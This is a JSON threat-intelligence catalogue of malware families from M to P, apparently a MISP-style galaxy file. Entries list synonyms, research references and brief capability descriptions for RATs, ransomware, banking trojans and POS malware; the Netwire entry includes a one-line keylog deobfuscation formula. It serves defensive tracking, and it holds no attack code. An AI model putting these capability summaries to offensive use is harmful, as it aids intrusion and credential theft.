"http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html"
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"uuid": "0dea3e9d-b443-40f6-a9e0-ba622850ee8a",
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],
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"https://securelist.com/el-machete/66108/",
"https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html",
"https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6"
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"https://www.youtube.com/watch?v=lqWJaaofNf4",
"http://asec.ahnlab.com/1124"
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"uuid": "fedac411-0638-48dc-8ac5-1b4171fa8a29",
"value": "Magniber",
"description": ""
},
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"value": "MajikPos",
"description": ""
},
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"https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs"
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"uuid": "996e73e9-b093-4987-9992-f52008e55b24",
"value": "Makadocs",
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"uuid": "7e088669-3ddb-4cc5-bc9b-ae59f61ada82",
"value": "MakLoader",
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"https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html",
"https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/"
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"uuid": "bdb27944-1f79-46f7-a0d7-c344429790c2",
"value": "Maktub",
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},
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos",
"http://documents.trendmicro.com/images/tex/pdf/MalumPOS%20Technical%20Brief.pdf"
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"uuid": "159b0dbf-52f6-4690-a545-0f890ba7b9b7",
"value": "MalumPOS",
"description": ""
},
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"HDDCryptor",
"DiskCryptor"
],
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba",
"http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/",
"https://securelist.com/the-return-of-mamba-ransomware/79403/"
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"uuid": "df320366-7970-4af0-b1f4-9f9492dede53",
"value": "Mamba",
"description": ""
},
{
"meta": {
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],
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.manamecrypt",
"https://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/",
"https://www.gdatasoftware.com/blog/2016/04/28234-manamecrypt-a-ransomware-that-takes-a-different-route"
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"uuid": "54cd671e-b7e4-4dd3-9bfa-dc0ba5105944",
"value": "ManameCrypt",
"description": ""
},
{
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"mengkite",
"vedratve"
],
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"https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2"
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"uuid": "ed3a94c9-8a5a-4ae7-bdd9-b000e01df3a0",
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},
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},
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"description": "Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.\r\n\r\nKeylog files are stored on the infected machine in an obfuscated form. The algorithm is:\r\n\r\n for i in range(0,num_read):\r\n buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF\r\n"
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron",
"https://www.ncsc.gov.uk/alerts/turla-group-malware"
]
},
"uuid": "101c2c0e-c082-4b5a-b820-2da789e839d9",
"value": "Neuron",
"description": ""
},
{
"meta": {
"synonyms": [
"Kasidet"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino",
"http://securitykitten.github.io/an-evening-with-n3utrino/",
"http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html",
"https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/",
"https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet",
"https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/",
"http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/",
"https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex",
"https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/",
"https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/"
]
},
"uuid": "3760920e-4d1a-40d8-9e60-508079499076",
"value": "Neutrino",
"description": ""
},
{
"meta": {
"synonyms": [
"Jimmy"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos",
"https://securelist.com/neutrino-modification-for-pos-terminals/78839/",
"https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/"
]
},
"uuid": "a954e642-4cf4-4293-a4b0-c82cf2db785d",
"value": "Neutrino POS",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat",
"https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
]
},
"uuid": "f18b17a7-9124-42e8-a2f2-4a1a9839aee8",
"value": "NewCore RAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings",
"https://asert.arbornetworks.com/lets-talk-about-newposthings/",
"https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html",
"https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/",
"http://www.cyintanalysis.com/a-quick-look-at-a-likely-newposthings-sample/"
]
},
"uuid": "48f95941-8369-4f80-b2b4-abbacd4bc411",
"value": "NewPosThings",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels",
"https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
]
},
"uuid": "1d32e7c3-840e-4247-b28b-818cb1c4ae7c",
"value": "NewsReels",
"description": ""
},
{
"meta": {
"synonyms": [
"CT"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf"
]
},
"uuid": "ec50a75e-81f0-48b3-b1df-215eac646421",
"value": "NewCT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot",
"https://twitter.com/benkow_/status/789006720668405760"
]
},
"uuid": "de3aae04-130b-4c5f-b67c-03f872e76697",
"value": "Nexster Bot",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger",
"https://twitter.com/PhysicalDrive0/status/842853292124360706",
"http://researchcenter.paloaltonetworks.com/2017/03/unit42-nexuslogger-new-cloud-based-keylogger-enters-market/"
]
},
"uuid": "dd1408ac-e288-4389-87f3-7650706f1d51",
"value": "NexusLogger",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb",
"https://research.checkpoint.com/ramnits-network-proxy-servers/"
]
},
"uuid": "35fd764f-8723-4663-9bbf-5b02a64ec02e",
"value": "Ngioweb",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove",
"https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html"
]
},
"uuid": "1bdd56fe-beca-4652-af39-87b5e45ae130",
"value": "nitlove",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Tale-of-the-Two-Payloads-%E2%80%93-TrickBot-and-Nitol/"
]
},
"uuid": "e1fb348b-5e2b-4a26-95af-431065498ff5",
"value": "Nitol",
"description": ""
},
{
"meta": {
"synonyms": [
"Bladabindi"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat",
"https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services",
"http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf",
"http://csecybsec.com/download/zlab/20171221_CSE_Bladabindi_Report.pdf",
"http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/",
"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
]
},
"uuid": "ff611c24-289e-4f2d-88d2-cfbf771a4e4b",
"value": "NjRAT",
"description": "RedPacket Security describes NJRat as \"a remote access trojan (RAT) has capabilities to log keystrokes, access the victim's camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim's desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives.\"\r\n\r\nIt is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer",
"https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap"
]
},
"uuid": "94793dbc-3649-40a4-9ccc-1b32846ecb3a",
"value": "Nocturnal Stealer",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki",
"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/"
]
},
"uuid": "f3cbe9ca-e65e-41af-8eb2-1e9877434124",
"value": "Nokki",
"description": "Nokki is a RAT type malware which is believe to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor"
]
},
"uuid": "6207668d-af17-44a6-97a2-e1b448264529",
"value": "Nozelesn (Decryptor)",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom",
"https://twitter.com/malwrhunterteam/status/910952333084971008",
"https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin",
"https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/"
]
},
"uuid": "b9c767c7-a1e8-476a-8032-9686d51df7de",
"value": "nRansom",
"description": ""
},
{
"meta": {
"synonyms": [
"nymain"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim",
"https://www.cert.pl/en/news/single/nymaim-revisited/",
"https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/",
"https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf",
"https://bitbucket.org/daniel_plohmann/idapatchwork"
]
},
"uuid": "9b5255c6-44e5-4ec3-bc03-7e00e220c937",
"value": "Nymaim",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2",
"https://johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/"
]
},
"uuid": "c8e8392f-883e-412e-9b0b-02137d0875da",
"value": "Nymaim2",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob"
]
},
"uuid": "d8305201-9fec-4e6b-9eec-7ebb756364e2",
"value": "OddJob",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff",
"https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks"
]
},
"uuid": "045df65f-77fe-4880-af34-62ca33936c6e",
"value": "Odinaff",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer",
"http://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
"https://www.lastline.com/labsblog/olympic-destroyer-south-korea/",
"https://securelist.com/the-devils-in-the-rich-header/84348/",
"https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/",
"https://securelist.com/olympic-destroyer-is-still-alive/86169/",
"http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html",
"https://www.lastline.com/labsblog/attribution-from-russia-with-code/",
"https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/"
]
},
"uuid": "f3ba8a50-0105-4aa9-90b2-01df15f50b28",
"value": "Olympic Destroyer",
"description": "Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.onekeylocker",
"https://twitter.com/malwrhunterteam/status/1001461507513880576"
]
},
"uuid": "838e2a3a-c4cb-4bee-b07f-c97b143c68d6",
"value": "OneKeyLocker",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat",
"https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview"
]
},
"uuid": "82733125-da67-44ff-b2ac-b16226088211",
"value": "ONHAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke",
"http://contagiodump.blogspot.com/2014/11/onionduke-samples.html",
"https://www.f-secure.com/weblog/archives/00002764.html"
]
},
"uuid": "abd10caa-7d4c-4c22-8dae-8d32f13232d7",
"value": "OnionDuke",
"description": "OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites. "
},
{
"meta": {
"synonyms": [
"SBot",
"Onliner"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner",
"https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html"
]
},
"uuid": "6cf05dad-86c8-4f46-b5b8-0a004360563f",
"value": "OnlinerSpambot",
"description": "A spambot that has been observed being used for spreading Ursninf, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie",
"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/",
"https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr"
]
},
"uuid": "d07c3def-91af-4d9b-bdf7-62c9e0b44968",
"value": "OopsIE",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki",
"http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html",
"http://contagiodump.blogspot.com/2009/11/win32opachkia-trojan-that-removes-zeus.html",
"https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519",
"https://forum.malekal.com/viewtopic.php?t=21806"
]
},
"uuid": "f50de0a8-35a7-406e-9f53-8f7d5448e1e7",
"value": "Opachki",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.opghoul",
"https://securelist.com/blog/research/75718/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/"
]
},
"uuid": "25a280b2-0260-4593-bf8c-7062dfdc6c38",
"value": "OpGhoul",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster",
"http://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/"
]
},
"uuid": "25c962c5-5616-4fe3-ad44-68c4ac4c726d",
"value": "OpBlockBuster",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat",
"http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html"
]
},
"uuid": "08103f1c-f83d-4037-a1ae-109b06f79226",
"value": "OrcaRAT",
"description": "OrcaRAT is a Backdoor that targets the Windows platform. It has been reported that a variant of this malware has been used in a targeted attack. It contacts a remote server, sending system information. Moreover, it receives control commands to execute shell commands, and download/upload a file, among other actions."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat",
"https://orcustechnologies.com/",
"https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/",
"http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/",
"https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors"
]
},
"uuid": "c41e7fdd-f1b1-4b87-97d7-634202af8b61",
"value": "Orcus RAT",
"description": "Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt",
"https://www.gdata.de/blog/2017/11/30151-ordinypt",
"https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/"
]
},
"uuid": "7fd96553-4c78-43de-824f-82645ed4fac5",
"value": "Ordinypt",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat",
"https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/",
"https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking"
]
},
"uuid": "842687f5-91bc-4719-ac3f-4166ae02e0cd",
"value": "Overlay RAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ovidiystealer",
"https://www.proofpoint.com/us/threat-insight/post/meet-ovidiy-stealer-bringing-credential-theft-masses"
]
},
"uuid": "30d49b12-0dca-4652-9f7a-4d0cf7555375",
"value": "OvidiyStealer",
"description": ""
},
{
"meta": {
"synonyms": [
"luckyowa"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth",
"https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/"
]
},
"uuid": "37f66fcc-e093-4d97-902d-c96602a7d234",
"value": "owaauth",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt",
"https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/",
"https://johannesbader.ch/2016/03/the-dga-of-padcrypt/"
]
},
"uuid": "c21335f5-b145-4029-b1bc-161362c7ce80",
"value": "PadCrypt",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin",
"https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf",
"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html"
]
},
"uuid": "c6728a76-f4d9-4c49-a3aa-be895df13a35",
"value": "paladin",
"description": "Paladin RAT is a variant of Gh0st RAT used by PittyPanda active since at least 2011."
},
{
"meta": {
"synonyms": [
"ZeusPanda"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker",
"https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker",
"https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/",
"https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers",
"https://www.proofpoint.com/tw/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market",
"https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media",
"https://www.arbornetworks.com/blog/asert/panda-bankers-future-dga/",
"https://www.spamhaus.org/news/article/771/",
"https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html",
"http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html",
"https://blogs.forcepoint.com/security-labs/zeus-panda-delivered-sundown-targets-uk-banks",
"https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/",
"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
"https://www.arbornetworks.com/blog/asert/let-pandas-zeus-zeus-zeus-zeus/",
"http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html",
"https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/"
]
},
"uuid": "31ebe294-f125-4cf3-95cc-f4150ab23303",
"value": "PandaBanker",
"description": "According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.\r\n\r\nThis banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.\r\n\r\nThe baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.\r\n\r\nPanda does have some DGA implemented, but according to Arbor, a bug prevents it from using it."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http",
"https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks"
]
},
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"description": ""
},
{
"meta": {
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]
},
"uuid": "a2fd9b8a-826d-4df5-9a29-d61a8456d086",
"value": "Penco",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap",
"https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/",
"https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/"
]
},
"uuid": "82ed8fae-552e-407b-b3fc-f617b7a8f996",
"value": "PetrWrap",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.petya",
"https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/",
"https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/",
"https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/",
"https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/",
"https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/"
]
},
"uuid": "34c9dbaa-97ac-4e1e-9eca-b7c492d67efc",
"value": "Petya",
"description": ""
},
{
"meta": {
"synonyms": [
"ReRol"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift",
"https://community.fireeye.com/external/1093"
]
},
"uuid": "add29684-94b7-4c75-a43b-d039c4b76158",
"value": "pgift",
"description": "Information gathering and downloading tool used to deliver second stage malware to the infected system"
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom",
"https://blogs.forcepoint.com/security-labs/shelf-ransomware-used-target-healthcare-sector",
"https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html",
"https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware",
"https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/",
"https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/"
]
},
"uuid": "f2a10bec-4783-4cfc-8e93-acd3c12a517d",
"value": "Philadephia Ransom",
"description": ""
},
{
"meta": {
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"Trik"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex",
"https://www.johannesbader.ch/2016/02/phorpiex/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/",
"https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows",
"https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/"
]
},
"uuid": "9759f99b-6d6c-4633-aa70-cb1d2bacc540",
"value": "Phorpiex",
"description": "Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat",
"https://www.snort.org/rule_docs/1-26941"
]
},
"uuid": "ea1c71fe-ad42-4c5a-8114-9ab9ecaa66f5",
"value": "pipcreat",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi",
"https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
]
},
"uuid": "e2325481-006f-4ad4-86d9-1a2ae6fea154",
"value": "pirpi",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou",
"https://www.tgsoft.it/english/news_archivio_eng.asp?id=884",
"https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf"
]
},
"uuid": "f371c85c-56f6-4ddf-8502-81866da4965b",
"value": "Pitou",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat",
"https://securingtomorrow.mcafee.com/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/",
"https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf"
]
},
"uuid": "7ac902e0-4a7d-4451-b0fd-cdf98fbe5018",
"value": "PittyTiger RAT",
"description": ""
},
{
"meta": {
"synonyms": [
"Pykbot",
"TBag",
"Bublik"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot",
"http://blog.kleissner.org/?p=788",
"https://blog.fortinet.com/2014/05/29/bublik-downloader-evolution",
"http://webcache.googleusercontent.com/search?q=cache:JN3yRXXuYsYJ:https://www.arbornetworks.com/blog/asert/peeking-at-pkybot"
]
},
"uuid": "19d71f38-422c-48f4-9f90-867eb4d4182e",
"value": "Pkybot",
"description": "Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee",
"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
]
},
"uuid": "66087a9c-b5ac-4d6d-b79e-c0294728c876",
"value": "PLAINTEE",
"description": ""
},
{
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"https://contagiodump.blogspot.com/2011/01/jan-6-cve-2010-3333-with-info-theft.html"
]
},
"uuid": "5e1f467b-f81e-487c-a911-ab63ae7e9b86",
"value": "playwork",
"description": ""
},
{
"meta": {
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"TSCookie"
],
"type": [],
"refs": [
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"http://www.freebuf.com/column/159865.html",
"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/",
"http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html",
"https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf",
"https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html",
"https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/"
]
},
"uuid": "43a56ed7-8092-4b36-998c-349b02b3bd0d",
"value": "PLEAD",
"description": ""
},
{
"meta": {
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"refs": [
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"https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/",
"https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7"
]
},
"uuid": "5c860744-bb12-4587-a852-ee060fd4dd64",
"value": "Plexor",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm",
"https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html",
"http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html"
]
},
